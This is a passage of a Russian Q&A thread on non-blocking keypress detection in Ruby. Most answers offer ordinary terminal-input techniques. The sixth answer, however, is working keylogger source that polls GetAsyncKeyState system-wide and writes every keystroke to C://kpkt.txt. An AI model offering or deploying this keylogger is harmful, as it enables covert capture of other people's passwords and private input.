Обнаружение нажатия клавиши (без блокировки) без getc/gets в Ruby
У меня есть простая задача, которая должна ждать, когда что-то изменится в файловой системе (это по существу компилятор для прототипов). Таким образом, у меня есть простой бесконечный цикл с 5-секундным сном после проверки изменений файлов.
loop do
# if files changed
# process files
# and puts result
sleep 5
end
Вместо приветствия Ctrl+C
, я бы предпочел проверить и посмотреть, нажат ли ключ, не блокируя цикл. По сути, мне просто нужен способ узнать, есть ли входящие нажатия клавиш, затем способ захватить их до тех пор, пока Q не будет удовлетворен, а затем выйдите из программы.
Я хочу:
def wait_for_Q
key_is_pressed && get_ch == 'Q'
end
loop do
# if files changed
# process files
# and puts result
wait_for_Q or sleep 5
end
Или, это что-то, что Ruby просто не делает (ну)?
Ответы
Ответ 1
Здесь один из способов сделать это, используя IO#read_nonblock
:
def quit?
begin
# See if a 'Q' has been typed yet
while c = STDIN.read_nonblock(1)
puts "I found a #{c}"
return true if c == 'Q'
end
# No 'Q' found
false
rescue Errno::EINTR
puts "Well, your device seems a little slow..."
false
rescue Errno::EAGAIN
# nothing was ready to be read
puts "Nothing to be read..."
false
rescue EOFError
# quit on the end of the input stream
# (user hit CTRL-D)
puts "Who hit CTRL-D, really?"
true
end
end
loop do
puts "I'm a loop!"
puts "Checking to see if I should quit..."
break if quit?
puts "Nope, let take a nap"
sleep 5
puts "Onto the next iteration!"
end
puts "Oh, I quit."
Имейте в виду, что хотя это использует неблокирующий IO, он все еще буферизует IO.
Это означает, что вашим пользователям придется нажать Q
, затем <Enter>
. Если вы хотите сделать
небуферизованный IO, я бы предложил проверить библиотеку рубиновых проклятий.
Ответ 2
Вы также можете сделать это без буфера. В системах на основе unix легко:
system("stty raw -echo") #=> Raw mode, no echo
char = STDIN.getc
system("stty -raw echo") #=> Reset terminal mode
puts char
Это будет ждать нажатия клавиши и возврата кода char. Не нужно нажимать.
Поместите char = STDIN.getc
в цикл, и у вас есть это!
Если вы находитесь в окнах, в соответствии с The Ruby Way, вам нужно либо написать расширение на C, либо использовать этот небольшой трюк (хотя это было написано в 2001 году, поэтому может быть лучший способ)
require 'Win32API'
char = Win32API.new('crtdll','_getch', [], 'L').Call
Вот моя ссылка: отличная книга, если у вас ее нет
Ответ 3
Комбинация других ответов получает желаемое поведение. Протестировано в ruby 1.9.3 на OSX и Linux.
loop do
puts 'foo'
system("stty raw -echo")
char = STDIN.read_nonblock(1) rescue nil
system("stty -raw echo")
break if /q/i =~ char
sleep(2)
end
Ответ 4
Объединив различные решения, которые я только что прочитал, я придумал кросс-платформенный способ решения этой проблемы.
Подробности здесь, но вот соответствующий фрагмент кода: метод GetKey.getkey
, возвращающий код ASCII или nil
, если ни один не был нажат.
Должно работать как в Windows, так и в Unix.
module GetKey
# Check if Win32API is accessible or not
@use_stty = begin
require 'Win32API'
false
rescue LoadError
# Use Unix way
true
end
# Return the ASCII code last key pressed, or nil if none
#
# Return::
# * _Integer_: ASCII code of the last key pressed, or nil if none
def self.getkey
if @use_stty
system('stty raw -echo') # => Raw mode, no echo
char = (STDIN.read_nonblock(1).ord rescue nil)
system('stty -raw echo') # => Reset terminal mode
return char
else
return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
end
end
end
И вот простая программа для тестирования:
loop do
k = GetKey.getkey
puts "Key pressed: #{k.inspect}"
sleep 1
end
В приведенной выше ссылке я также покажу, как использовать библиотеку curses
, но результат немного запутан в Windows.
Ответ 5
Вы также можете изучить библиотеку 'io/wait' для Ruby, которая предоставляет метод ready?
для всех объектов ввода-вывода. Я не тестировал вашу ситуацию конкретно, но использую ее в библиотеке сокетов, над которой я работаю. В вашем случае, если STDIN является стандартным объектом ввода-вывода, возможно, вы покинете момент, когда ready?
возвращает результат, отличный от нуля, если только вы не заинтересованы в том, чтобы узнать, какой ключ был нажат. Эта функциональность может быть реализована через require 'io/wait'
, которая является частью стандартной библиотеки Ruby. Я не уверен, что он работает во всех средах, но стоит попробовать. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/
Ответ 6
Теперь используйте этот
require 'Win32API'
VK_SHIFT = 0x10
VK_ESC = 0x1B
def check_shifts()
$listener.call(VK_SHIFT) != 0 ? true : false
end
# create empty Hash of key codes
keys = Hash.new
# create empty Hash for shift characters
uppercase = Hash.new
# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }
# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }
# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE
keys['\\'] = 0xDC
# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14
# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }
# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'
# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'
# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }
logs = File.open('C://kpkt.txt', 'a')
while true
break if $listener.call(VK_ESC) != 0
keys.each do |char, code|
n = $listener.call(code)
if n and n & 0x01 == 1
check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
end
end
end
logs.close()